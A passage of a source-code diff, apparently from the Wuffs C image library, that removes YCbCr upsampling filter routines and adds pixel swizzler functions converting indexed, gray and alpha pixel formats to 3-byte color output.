loop_unroll_count = 4; - -- uint32_t sv = (9u * ((uint32_t)(*sp_major++))) + // -- (3u * ((uint32_t)(*sp_minor++))); -- *dp++ = (uint8_t)((sv + (3u * sv_major_m1) + (sv_minor_m1) + 8u) >> 4u); -- *dp++ = (uint8_t)((sv + (3u * sv_major_p1) + (sv_minor_p1) + 7u) >> 4u); -- if (src_len <= 0u) { -- return dst_ptr; -- } -- } -+ // The comparison in the while condition is ">", not ">=", because with -+ // ">=", the last 4-byte store could write past the end of the dst slice. -+ // -+ // Each 4-byte store writes one too many bytes, but a subsequent store -+ // will overwrite that with the correct byte. There is always another -+ // store, whether a 4-byte store in this loop or a 1-byte store in the -+ // next loop. -+ while (n > loop_unroll_count) { -+ wuffs_base__poke_u32le__no_bounds_check( -+ d + (0 * 3), wuffs_base__peek_u32le__no_bounds_check( -+ dst_palette_ptr + ((size_t)s[0] * 4))); -+ wuffs_base__poke_u32le__no_bounds_check( -+ d + (1 * 3), wuffs_base__peek_u32le__no_bounds_check( -+ dst_palette_ptr + ((size_t)s[1] * 4))); -+ wuffs_base__poke_u32le__no_bounds_check( -+ d + (2 * 3), wuffs_base__peek_u32le__no_bounds_check( -+ dst_palette_ptr + ((size_t)s[2] * 4))); -+ wuffs_base__poke_u32le__no_bounds_check( -+ d + (3 * 3), wuffs_base__peek_u32le__no_bounds_check( -+ dst_palette_ptr + ((size_t)s[3] * 4))); - -- if (last_column) { -- src_len--; -+ s += loop_unroll_count * 1; -+ d += loop_unroll_count * 3; -+ n -= loop_unroll_count; - } - -- for (; src_len > 0u; src_len--) { -- uint32_t sv_major_m1 = sp_major[-1]; -- uint32_t sv_minor_m1 = sp_minor[-1]; -- uint32_t sv_major_p1 = sp_major[+1]; -- uint32_t sv_minor_p1 = sp_minor[+1]; -+ while (n >= 1) { -+ uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + -+ ((size_t)s[0] * 4)); -+ wuffs_base__poke_u24le__no_bounds_check(d + (0 * 3), s0); - -- uint32_t sv = (9u * ((uint32_t)(*sp_major++))) + // -- (3u * ((uint32_t)(*sp_minor++))); -- *dp++ = (uint8_t)((sv + (3u * sv_major_m1) + (sv_minor_m1) + 8u) >> 4u); -- *dp++ = (uint8_t)((sv + (3u * sv_major_p1) + (sv_minor_p1) + 7u) >> 4u); -+ s += 1 * 1; -+ d += 1 * 3; -+ n -= 1; - } - -- if (last_column) { -- uint32_t sv_major_m1 = sp_major[-1]; -- uint32_t sv_minor_m1 = sp_minor[-1]; -- uint32_t sv_major_p1 = sp_major[+0]; // Clamp offset to zero. -- uint32_t sv_minor_p1 = sp_minor[+0]; // Clamp offset to zero. -+ return len; -+} - -- uint32_t sv = (9u * ((uint32_t)(*sp_major++))) + // -- (3u * ((uint32_t)(*sp_minor++))); -- *dp++ = (uint8_t)((sv + (3u * sv_major_m1) + (sv_minor_m1) + 8u) >> 4u); -- *dp++ = (uint8_t)((sv + (3u * sv_major_p1) + (sv_minor_p1) + 7u) >> 4u); -+static uint64_t // -+wuffs_private_impl__swizzle_xxx__index_bgra_nonpremul__src_over( -+ uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ if (dst_palette_len != -+ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { -+ return 0; - } -+ size_t dst_len3 = dst_len / 3; -+ size_t len = (dst_len3 < src_len) ? dst_len3 : src_len; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; -+ size_t n = len; - -- return dst_ptr; --} -+ // TODO: unroll. - --// wuffs_base__pixel_swizzler__swizzle_ycc__upsample_funcs is indexed by inv_h --// and then inv_v. --static const wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func -- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_funcs[4][4] = { -- { -- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h1vn_box, -- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h1vn_box, -- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h1vn_box, -- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h1vn_box, -- }, -- { -- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h2vn_box, -- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h2vn_box, -- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h2vn_box, -- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h2vn_box, -- }, -- { -- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h3vn_box, -- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h3vn_box, -- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h3vn_box, -- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h3vn_box, -- }, -- { -- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h4vn_box, -- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h4vn_box, -- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h4vn_box, -- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h4vn_box, -- }, --}; -+ while (n >= 1) { -+ uint32_t d0 = -+ wuffs_base__peek_u24le__no_bounds_check(d + (0 * 3)) | 0xFF000000; -+ uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + -+ ((size_t)s[0] * 4)); -+ wuffs_base__poke_u24le__no_bounds_check( -+ d + (0 * 3), -+ wuffs_private_impl__composite_premul_nonpremul_u32_axxx(d0, s0)); - --static inline uint32_t // --wuffs_base__pixel_swizzler__has_triangle_upsampler(uint32_t inv_h, -- uint32_t inv_v) { -- if (inv_h == 1u) { -- return inv_v == 2u; -- } else if (inv_h == 2u) { -- return (inv_v == 1u) || (inv_v == 2u); -+ s += 1 * 1; -+ d += 1 * 3; -+ n -= 1; - } -- return false; -+ -+ return len; - } - --// -------- -+static uint64_t // -+wuffs_private_impl__swizzle_xxx__index_binary_alpha__src_over( -+ uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ if (dst_palette_len != -+ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { -+ return 0; -+ } -+ size_t dst_len3 = dst_len / 3; -+ size_t len = (dst_len3 < src_len) ? dst_len3 : src_len; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; -+ size_t n = len; - --// All of the wuffs_base__pixel_swizzler__swizzle_ycc__etc functions have --// preconditions. See all of the checks made in --// wuffs_base__pixel_swizzler__swizzle_ycck before calling these functions. For --// example, (width > 0) is a precondition, but there are many more. -+ const size_t loop_unroll_count = 4; - --static void // --wuffs_base__pixel_swizzler__swizzle_ycck__general__triangle_filter_edge_row( -- wuffs_base__pixel_buffer* dst, -- uint32_t width, -- uint32_t y, -- const uint8_t* src_ptr0, -- const uint8_t* src_ptr1, -- const uint8_t* src_ptr2, -- const uint8_t* src_ptr3, -- uint32_t stride0, -- uint32_t stride1, -- uint32_t stride2, -- uint32_t stride3, -- uint32_t inv_h0, -- uint32_t inv_h1, -- uint32_t inv_h2, -- uint32_t inv_h3, -- uint32_t inv_v0, -- uint32_t inv_v1, -- uint32_t inv_v2, -- uint32_t inv_v3, -- uint32_t half_width_for_2to1, -- uint32_t h1v2_bias, -- uint8_t* scratch_buffer_2k_ptr, -- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func upfunc0, -- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func upfunc1, -- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func upfunc2, -- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func upfunc3, -- wuffs_base__pixel_swizzler__swizzle_ycc__convert_4_func conv4func) { -- const uint8_t* src0 = src_ptr0 + ((y / inv_v0) * (size_t)stride0); -- const uint8_t* src1 = src_ptr1 + ((y / inv_v1) * (size_t)stride1); -- const uint8_t* src2 = src_ptr2 + ((y / inv_v2) * (size_t)stride2); -- const uint8_t* src3 = src_ptr3 + ((y / inv_v3) * (size_t)stride3); -- uint32_t total_src_len0 = 0u; -- uint32_t total_src_len1 = 0u; -- uint32_t total_src_len2 = 0u; -- uint32_t total_src_len3 = 0u; -- -- uint32_t x = 0u; -- while (x < width) { -- bool first_column = x == 0u; -- uint32_t end = x + 480u; -- if (end > width) { -- end = width; -+ while (n >= loop_unroll_count) { -+ uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + -+ ((size_t)s[0] * 4)); -+ if (s0) { -+ wuffs_base__poke_u24le__no_bounds_check(d + (0 * 3), s0); -+ } -+ uint32_t s1 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + -+ ((size_t)s[1] * 4)); -+ if (s1) { -+ wuffs_base__poke_u24le__no_bounds_check(d + (1 * 3), s1); -+ } -+ uint32_t s2 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + -+ ((size_t)s[2] * 4)); -+ if (s2) { -+ wuffs_base__poke_u24le__no_bounds_check(d + (2 * 3), s2); -+ } -+ uint32_t s3 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + -+ ((size_t)s[3] * 4)); -+ if (s3) { -+ wuffs_base__poke_u24le__no_bounds_check(d + (3 * 3), s3); - } - -- uint32_t src_len0 = ((end - x) + inv_h0 - 1u) / inv_h0; -- uint32_t src_len1 = ((end - x) + inv_h1 - 1u) / inv_h1; -- uint32_t src_len2 = ((end - x) + inv_h2 - 1u) / inv_h2; -- uint32_t src_len3 = ((end - x) + inv_h3 - 1u) / inv_h3; -- total_src_len0 += src_len0; -- total_src_len1 += src_len1; -- total_src_len2 += src_len2; -- total_src_len3 += src_len3; -- -- const uint8_t* src_ptr_x0 = src0 + (x / inv_h0); -- const uint8_t* up0 = (*upfunc0)( // -- scratch_buffer_2k_ptr + (0u * 480u), // -- src_ptr_x0, // -- src_ptr_x0, // -- src_len0, // -- h1v2_bias, // -- first_column, // -- (total_src_len0 >= half_width_for_2to1)); -- -- const uint8_t* src_ptr_x1 = src1 + (x / inv_h1); -- const uint8_t* up1 = (*upfunc1)( // -- scratch_buffer_2k_ptr + (1u * 480u), // -- src_ptr_x1, // -- src_ptr_x1, // -- src_len1, // -- h1v2_bias, // -- first_column, // -- (total_src_len1 >= half_width_for_2to1)); -- -- const uint8_t* src_ptr_x2 = src2 + (x / inv_h2); -- const uint8_t* up2 = (*upfunc2)( // -- scratch_buffer_2k_ptr + (2u * 480u), // -- src_ptr_x2, // -- src_ptr_x2, // -- src_len2, // -- h1v2_bias, // -- first_column, // -- (total_src_len2 >= half_width_for_2to1)); -+ s += loop_unroll_count * 1; -+ d += loop_unroll_count * 3; -+ n -= loop_unroll_count; -+ } - -- const uint8_t* src_ptr_x3 = src3 + (x / inv_h3); -- const uint8_t* up3 = (*upfunc3)( // -- scratch_buffer_2k_ptr + (3u * 480u), // -- src_ptr_x3, // -- src_ptr_x3, // -- src_len3, // -- h1v2_bias, // -- first_column, // -- (total_src_len3 >= half_width_for_2to1)); -+ while (n >= 1) { -+ uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + -+ ((size_t)s[0] * 4)); -+ if (s0) { -+ wuffs_base__poke_u24le__no_bounds_check(d + (0 * 3), s0); -+ } - -- (*conv4func)(dst, x, end, y, up0, up1, up2, up3); -- x = end; -+ s += 1 * 1; -+ d += 1 * 3; -+ n -= 1; - } --} -- --static void // --wuffs_base__pixel_swizzler__swizzle_ycck__general__triangle_filter( -- wuffs_base__pixel_buffer* dst, -- uint32_t width, -- uint32_t height, -- const uint8_t* src_ptr0, -- const uint8_t* src_ptr1, -- const uint8_t* src_ptr2, -- const uint8_t* src_ptr3, -- uint32_t stride0, -- uint32_t stride1, -- uint32_t stride2, -- uint32_t stride3, -- uint32_t inv_h0, -- uint32_t inv_h1, -- uint32_t inv_h2, -- uint32_t inv_h3, -- uint32_t inv_v0, -- uint32_t inv_v1, -- uint32_t inv_v2, -- uint32_t inv_v3, -- uint32_t half_width_for_2to1, -- uint32_t half_height_for_2to1, -- uint8_t* scratch_buffer_2k_ptr, -- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func (*upfuncs)[4][4], -- wuffs_base__pixel_swizzler__swizzle_ycc__convert_4_func conv4func) { -- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func upfunc0 = -- (*upfuncs)[(inv_h0 - 1u) & 3u][(inv_v0 - 1u) & 3u]; -- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func upfunc1 = -- (*upfuncs)[(inv_h1 - 1u) & 3u][(inv_v1 - 1u) & 3u]; -- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func upfunc2 = -- (*upfuncs)[(inv_h2 - 1u) & 3u][(inv_v2 - 1u) & 3u]; -- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func upfunc3 = -- (*upfuncs)[(inv_h3 - 1u) & 3u][(inv_v3 - 1u) & 3u]; - -- // First row. -- uint32_t h1v2_bias = 1u; -- wuffs_base__pixel_swizzler__swizzle_ycck__general__triangle_filter_edge_row( -- dst, width, 0u, // -- src_ptr0, src_ptr1, src_ptr2, src_ptr3, // -- stride0, stride1, stride2, stride3, // -- inv_h0, inv_h1, inv_h2, inv_h3, // -- inv_v0, inv_v1, inv_v2, inv_v3, // -- half_width_for_2to1, // -- h1v2_bias, // -- scratch_buffer_2k_ptr, // -- upfunc0, upfunc1, upfunc2, upfunc3, conv4func); -- h1v2_bias = 2u; -+ return len; -+} - -- // Middle rows. -- bool last_row = height == 2u * half_height_for_2to1; -- uint32_t y_max_excl = last_row ? (height - 1u) : height; -- uint32_t y; -- for (y = 1u; y < y_max_excl; y++) { -- const uint8_t* src0_major = src_ptr0 + ((y / inv_v0) * (size_t)stride0); -- const uint8_t* src0_minor = -- (inv_v0 != 2u) -- ? src0_major -- : ((y & 1u) ? (src0_major + stride0) : (src0_major - stride0)); -- const uint8_t* src1_major = src_ptr1 + ((y / inv_v1) * (size_t)stride1); -- const uint8_t* src1_minor = -- (inv_v1 != 2u) -- ? src1_major -- : ((y & 1u) ? (src1_major + stride1) : (src1_major - stride1)); -- const uint8_t* src2_major = src_ptr2 + ((y / inv_v2) * (size_t)stride2); -- const uint8_t* src2_minor = -- (inv_v2 != 2u) -- ? src2_major -- : ((y & 1u) ? (src2_major + stride2) : (src2_major - stride2)); -- const uint8_t* src3_major = src_ptr3 + ((y / inv_v3) * (size_t)stride3); -- const uint8_t* src3_minor = -- (inv_v3 != 2u) -- ? src3_major -- : ((y & 1u) ? (src3_major + stride3) : (src3_major - stride3)); -- uint32_t total_src_len0 = 0u; -- uint32_t total_src_len1 = 0u; -- uint32_t total_src_len2 = 0u; -- uint32_t total_src_len3 = 0u; -+static uint64_t // -+wuffs_private_impl__swizzle_xxx__xxxx(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len3 = dst_len / 3; -+ size_t src_len4 = src_len / 4; -+ size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; -+ size_t n = len; - -- uint32_t x = 0u; -- while (x < width) { -- bool first_column = x == 0u; -- uint32_t end = x + 480u; -- if (end > width) { -- end = width; -- } -+ // TODO: unroll. - -- uint32_t src_len0 = ((end - x) + inv_h0 - 1u) / inv_h0; -- uint32_t src_len1 = ((end - x) + inv_h1 - 1u) / inv_h1; -- uint32_t src_len2 = ((end - x) + inv_h2 - 1u) / inv_h2; -- uint32_t src_len3 = ((end - x) + inv_h3 - 1u) / inv_h3; -- total_src_len0 += src_len0; -- total_src_len1 += src_len1; -- total_src_len2 += src_len2; -- total_src_len3 += src_len3; -+ while (n >= 1) { -+ wuffs_base__poke_u24le__no_bounds_check( -+ d + (0 * 3), wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); - -- const uint8_t* up0 = (*upfunc0)( // -- scratch_buffer_2k_ptr + (0u * 480u), // -- src0_major + (x / inv_h0), // -- src0_minor + (x / inv_h0), // -- src_len0, // -- h1v2_bias, // -- first_column, // -- (total_src_len0 >= half_width_for_2to1)); -+ s += 1 * 4; -+ d += 1 * 3; -+ n -= 1; -+ } - -- const uint8_t* up1 = (*upfunc1)( // -- scratch_buffer_2k_ptr + (1u * 480u), // -- src1_major + (x / inv_h1), // -- src1_minor + (x / inv_h1), // -- src_len1, // -- h1v2_bias, // -- first_column, // -- (total_src_len1 >= half_width_for_2to1)); -+ return len; -+} - -- const uint8_t* up2 = (*upfunc2)( // -- scratch_buffer_2k_ptr + (2u * 480u), // -- src2_major + (x / inv_h2), // -- src2_minor + (x / inv_h2), // -- src_len2, // -- h1v2_bias, // -- first_column, // -- (total_src_len2 >= half_width_for_2to1)); -+static uint64_t // -+wuffs_private_impl__swizzle_xxx__y(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len3 = dst_len / 3; -+ size_t len = (dst_len3 < src_len) ? dst_len3 : src_len; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; -+ size_t n = len; - -- const uint8_t* up3 = (*upfunc3)( // -- scratch_buffer_2k_ptr + (3u * 480u), // -- src3_major + (x / inv_h3), // -- src3_minor + (x / inv_h3), // -- src_len3, // -- h1v2_bias, // -- first_column, // -- (total_src_len3 >= half_width_for_2to1)); -+ // TODO: unroll. - -- (*conv4func)(dst, x, end, y, up0, up1, up2, up3); -- x = end; -- } -+ while (n >= 1) { -+ uint8_t s0 = s[0]; -+ d[0] = s0; -+ d[1] = s0; -+ d[2] = s0; - -- h1v2_bias ^= 3u; -+ s += 1 * 1; -+ d += 1 * 3; -+ n -= 1; - } - -- // Last row. -- if (y_max_excl != height) { -- wuffs_base__pixel_swizzler__swizzle_ycck__general__triangle_filter_edge_row( -- dst, width, height - 1u, // -- src_ptr0, src_ptr1, src_ptr2, src_ptr3, // -- stride0, stride1, stride2, stride3, // -- inv_h0, inv_h1, inv_h2, inv_h3, // -- inv_v0, inv_v1, inv_v2, inv_v3, // -- half_width_for_2to1, // -- h1v2_bias, // -- scratch_buffer_2k_ptr, // -- upfunc0, upfunc1, upfunc2, upfunc3, conv4func); -- } -+ return len; - } - --static void // --wuffs_base__pixel_swizzler__swizzle_ycc__general__triangle_filter_edge_row( -- wuffs_base__pixel_buffer* dst, -- uint32_t width, -- uint32_t y, -- const uint8_t* src_ptr0, -- const uint8_t* src_ptr1, -- const uint8_t* src_ptr2, -- uint32_t stride0, -- uint32_t stride1, -- uint32_t stride2, -- uint32_t inv_h0, -- uint32_t inv_h1, -- uint32_t inv_h2, -- uint32_t inv_v0, -- uint32_t inv_v1, -- uint32_t inv_v2, -- uint32_t half_width_for_2to1, -- uint32_t h1v2_bias, -- uint8_t* scratch_buffer_2k_ptr, -- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func upfunc0, -- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func upfunc1, -- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func upfunc2, -- wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_func conv3func) { -- const uint8_t* src0 = src_ptr0 + ((y / inv_v0) * (size_t)stride0); -- const uint8_t* src1 = src_ptr1 + ((y / inv_v1) * (size_t)stride1); -- const uint8_t* src2 = src_ptr2 + ((y / inv_v2) * (size_t)stride2); -- uint32_t total_src_len0 = 0u; -- uint32_t total_src_len1 = 0u; -- uint32_t total_src_len2 = 0u; -- -- uint32_t x = 0u; -- while (x < width) { -- bool first_column = x == 0u; -- uint32_t end = x + 672u; -- if (end > width) { -- end = width; -- } -- -- uint32_t src_len0 = ((end - x) + inv_h0 - 1u) / inv_h0; -- uint32_t src_len1 = ((end - x) + inv_h1 - 1u) / inv_h1; -- uint32_t src_len2 = ((end - x) + inv_h2 - 1u) / inv_h2; -- total_src_len0 += src_len0; -- total_src_len1 += src_len1; -- total_src_len2 += src_len2; -- -- const uint8_t* src_ptr_x0 = src0 + (x / inv_h0); -- const uint8_t* up0 = (*upfunc0)( // -- scratch_buffer_2k_ptr + (0u * 672u), // -- src_ptr_x0, // -- src_ptr_x0, // -- src_len0, // -- h1v2_bias, // -- first_column, // -- (total_src_len0 >= half_width_for_2to1)); -+static uint64_t // -+wuffs_private_impl__swizzle_xxx__y_16be(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len3 = dst_len / 3; -+ size_t src_len2 = src_len / 2; -+ size_t len = (dst_len3 < src_len2) ? dst_len3 : src_len2; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; -+ size_t n = len; - -- const uint8_t* src_ptr_x1 = src1 + (x / inv_h1); -- const uint8_t* up1 = (*upfunc1)( // -- scratch_buffer_2k_ptr + (1u * 672u), // -- src_ptr_x1, // -- src_ptr_x1, // -- src_len1, // -- h1v2_bias, // -- first_column, // -- (total_src_len1 >= half_width_for_2to1)); -+ // TODO: unroll. - -- const uint8_t* src_ptr_x2 = src2 + (x / inv_h2); -- const uint8_t* up2 = (*upfunc2)( // -- scratch_buffer_2k_ptr + (2u * 672u), // -- src_ptr_x2, // -- src_ptr_x2, // -- src_len2, // -- h1v2_bias, // -- first_column, // -- (total_src_len2 >= half_width_for_2to1)); -+ while (n >= 1) { -+ uint8_t s0 = s[0]; -+ d[0] = s0; -+ d[1] = s0; -+ d[2] = s0; - -- (*conv3func)(dst, x, end, y, up0, up1, up2); -- x = end; -+ s += 1 * 2; -+ d += 1 * 3; -+ n -= 1; - } --} - --static void // --wuffs_base__pixel_swizzler__swizzle_ycc__general__triangle_filter( -- wuffs_base__pixel_buffer* dst, -- uint32_t width, -- uint32_t height, -- const uint8_t* src_ptr0, -- const uint8_t* src_ptr1, -- const uint8_t* src_ptr2, -- uint32_t stride0, -- uint32_t stride1, -- uint32_t stride2, -- uint32_t inv_h0, -- uint32_t inv_h1, -- uint32_t inv_h2, -- uint32_t inv_v0, -- uint32_t inv_v1, -- uint32_t inv_v2, -- uint32_t half_width_for_2to1, -- uint32_t half_height_for_2to1, -- uint8_t* scratch_buffer_2k_ptr, -- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func (*upfuncs)[4][4], -- wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_func conv3func) { -- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func upfunc0 = -- (*upfuncs)[(inv_h0 - 1u) & 3u][(inv_v0 - 1u) & 3u]; -- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func upfunc1 = -- (*upfuncs)[(inv_h1 - 1u) & 3u][(inv_v1 - 1u) & 3u]; -- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func upfunc2 = -- (*upfuncs)[(inv_h2 - 1u) & 3u][(inv_v2 - 1u) & 3u]; -+ return len; -+} - -- // First row. -- uint32_t h1v2_bias = 1u; -- wuffs_base__pixel_swizzler__swizzle_ycc__general__triangle_filter_edge_row( -- dst, width, 0u, // -- src_ptr0, src_ptr1, src_ptr2, // -- stride0, stride1, stride2, // -- inv_h0, inv_h1, inv_h2, // -- inv_v0, inv_v1, inv_v2, // -- half_width_for_2to1, // -- h1v2_bias, // -- scratch_buffer_2k_ptr, // -- upfunc0, upfunc1, upfunc2, conv3func); -- h1v2_bias = 2u; -+static uint64_t // -+wuffs_private_impl__swizzle_xxx__ya_nonpremul__src(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len3 = dst_len / 3; -+ size_t src_len2 = src_len / 2; -+ size_t len = (dst_len3 < src_len2) ? dst_len3 : src_len2; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; -+ size_t n = len; - -- // Middle rows. -- bool last_row = height == 2u * half_height_for_2to1; -- uint32_t y_max_excl = last_row ? (height - 1u) : height; -- uint32_t y; -- for (y = 1u; y < y_max_excl; y++) { -- const uint8_t* src0_major = src_ptr0 + ((y / inv_v0) * (size_t)stride0); -- const uint8_t* src0_minor = -- (inv_v0 != 2u) -- ? src0_major -- : ((y & 1u) ? (src0_major + stride0) : (src0_major - stride0)); -- const uint8_t* src1_major = src_ptr1 + ((y / inv_v1) * (size_t)stride1); -- const uint8_t* src1_minor = -- (inv_v1 != 2u) -- ? src1_major -- : ((y & 1u) ? (src1_major + stride1) : (src1_major - stride1)); -- const uint8_t* src2_major = src_ptr2 + ((y / inv_v2) * (size_t)stride2); -- const uint8_t* src2_minor = -- (inv_v2 != 2u) -- ? src2_major -- : ((y & 1u) ? (src2_major + stride2) : (src2_major - stride2)); -- uint32_t total_src_len0 = 0u; -- uint32_t total_src_len1 = 0u; -- uint32_t total_src_len2 = 0u; -+ // TODO: unroll. - -- uint32_t x = 0u; -- while (x < width) { -- bool first_column = x == 0u; -- uint32_t end = x + 672u; -- if (end > width) { -- end = width; -- } -+ while (n >= 1) { -+ uint32_t s0 = ((uint32_t)(s[1]) << 24) | ((uint32_t)(s[0]) * 0x010101); -+ wuffs_base__poke_u24le__no_bounds_check( -+ d + (0 * 3), -+ wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul(s0)); - -- uint32_t src_len0 = ((end - x) + inv_h0 - 1u) / inv_h0; -- uint32_t src_len1 = ((end - x) + inv_h1 - 1u) / inv_h1; -- uint32_t src_len2 = ((end - x) + inv_h2 - 1u) / inv_h2; -- total_src_len0 += src_len0; -- total_src_len1 += src_len1; -- total_src_len2 += src_len2; -+ s += 1 * 2; -+ d += 1 * 3; -+ n -= 1; -+ } - -- const uint8_t* up0 = (*upfunc0)( // -- scratch_buffer_2k_ptr + (0u * 672u), // -- src0_major + (x / inv_h0), // -- src0_minor + (x / inv_h0), // -- src_len0, // -- h1v2_bias, // -- first_column, // -- (total_src_len0 >= half_width_for_2to1)); -+ return len; -+} - -- const uint8_t* up1 = (*upfunc1)( // -- scratch_buffer_2k_ptr + (1u * 672u), // -- src1_major + (x / inv_h1), // -- src1_minor + (x / inv_h1), // -- src_len1, // -- h1v2_bias, // -- first_column, // -- (total_src_len1 >= half_width_for_2to1)); -+static uint64_t // -+wuffs_private_impl__swizzle_xxx__ya_nonpremul__src_over( -+ uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len3 = dst_len / 3; -+ size_t src_len2 = src_len / 2; -+ size_t len = (dst_len3 < src_len2) ? dst_len3 : src_len2; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; -+ size_t n = len; - -- const uint8_t* up2 = (*upfunc2)( // -- scratch_buffer_2k_ptr + (2u * 672u), // -- src2_major + (x / inv_h2), // -- src2_minor + (x / inv_h2), // -- src_len2, // -- h1v2_bias, // -- first_column, // -- (total_src_len2 >= half_width_for_2to1)); -+ // TODO: unroll. - -- (*conv3func)(dst, x, end, y, up0, up1, up2); -- x = end; -- } -+ while (n >= 1) { -+ uint32_t d0 = -+ wuffs_base__peek_u24le__no_bounds_check(d + (0 * 3)) | 0xFF000000; -+ uint32_t s0 = ((uint32_t)(s[1]) << 24) | ((uint32_t)(s[0]) * 0x010101); -+ wuffs_base__poke_u24le__no_bounds_check( -+ d + (0 * 3), -+ wuffs_private_impl__composite_premul_nonpremul_u32_axxx(d0, s0)); - -- h1v2_bias ^= 3u; -+ s += 1 * 2; -+ d += 1 * 3; -+ n -= 1; - } - -- // Last row. -- if (y_max_excl != height) { -- wuffs_base__pixel_swizzler__swizzle_ycc__general__triangle_filter_edge_row( -- dst, width, height - 1u, // -- src_ptr0, src_ptr1, src_ptr2, // -- stride0, stride1, stride2, // -- inv_h0, inv_h1, inv_h2, // -- inv_v0, inv_v1, inv_v2, // -- half_width_for_2to1, // -- h1v2_bias, // -- scratch_buffer_2k_ptr, // -- upfunc0, upfunc1, upfunc2, conv3func); -- } -+ return len; - } - --static void // --wuffs_base__pixel_swizzler__swizzle_ycc__general__box_filter( -- wuffs_base__pixel_buffer* dst, -- uint32_t width, -- uint32_t height, -- const uint8_t* src_ptr0, -- const uint8_t* src_ptr1, -- const uint8_t* src_ptr2, -- uint32_t stride0, -- uint32_t stride1, -- uint32_t stride2, -- uint32_t inv_h0, -- uint32_t inv_h1, -- uint32_t inv_h2, -- uint32_t inv_v0, -- uint32_t inv_v1, -- uint32_t inv_v2, -- uint32_t half_width_for_2to1, -- uint32_t half_height_for_2to1, -- uint8_t* scratch_buffer_2k_ptr, -- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func (*upfuncs)[4][4], -- wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_func conv3func) { -- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func upfunc0 = -- (*upfuncs)[(inv_h0 - 1u) & 3u][(inv_v0 - 1u) & 3u]; -- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func upfunc1 = -- (*upfuncs)[(inv_h1 - 1u) & 3u][(inv_v1 - 1u) & 3u]; -- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func upfunc2 = -- (*upfuncs)[(inv_h2 - 1u) & 3u][(inv_v2 - 1u) & 3u]; -- 